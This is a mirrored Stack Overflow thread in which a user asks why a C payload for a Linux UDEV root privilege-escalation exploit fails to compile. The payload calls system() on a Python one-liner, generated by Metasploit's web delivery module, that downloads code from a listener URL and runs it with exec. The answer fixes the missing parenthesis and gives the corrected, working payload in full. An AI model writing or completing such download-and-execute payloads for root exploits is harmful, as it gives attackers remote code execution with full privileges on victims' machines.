【问题标题】:How to stop URL from being commented out (C)如何阻止 URL 被注释掉 (C)
【发布时间】:2016-08-22 17:46:52
【问题描述】:

我一直在尝试在 Linux 上进行权限提升漏洞利用,它将以 root 用户 (Linux kernel 2.6 UDEV exploit) 运行 /tmp/run 中的任何文件。我决定用 C 语言制作我的有效载荷(为了增加挑战)。它只需要执行一个 python 命令(由 Metasploit 的 web 交付模块生成)。问题是,当我将 URL 作为字符串输入时,http:// 中的 // 将注释掉 URL 的其余部分。

我对 C 的了解不多,所以我不知道如何解决这个问题。这可能看起来有点菜鸟,但我真的无法在任何地方找到答案。

当前代码:

#include <stdio.h>

int main(void) {
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"" <== // in http:// comments out rest of line
    return 0;

}

有没有合适的方法来解决这个问题?

【问题讨论】:

  • 用另一个反斜杠转义两个反斜杠(用于转义字符。所以你会得到 http:////
  • 是什么让您认为// 正在注释掉该行?
  • 会不会是你的文本编辑器的语法高亮出了问题?因为它不应该在字符串中注释掉。

标签: python c linux string url


【解决方案1】:

// 不会在字符串文字内进行注释。在字符串中使用// 不是您发布的问题,相反,您应该通过关闭) 来完成system 函数调用。

#include <stdio.h>

int main(void) {
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"");
    return 0;
}

【讨论】:

  • 谢谢。这让我觉得很愚蠢,谢谢。
猜你喜欢
  • 2016-07-14
  • 2011-04-07
  • 1970-01-01
  • 1970-01-01
  • 2014-02-12
  • 2011-02-04
  • 1970-01-01
  • 2016-04-25
  • 1970-01-01
相关资源
最近更新 更多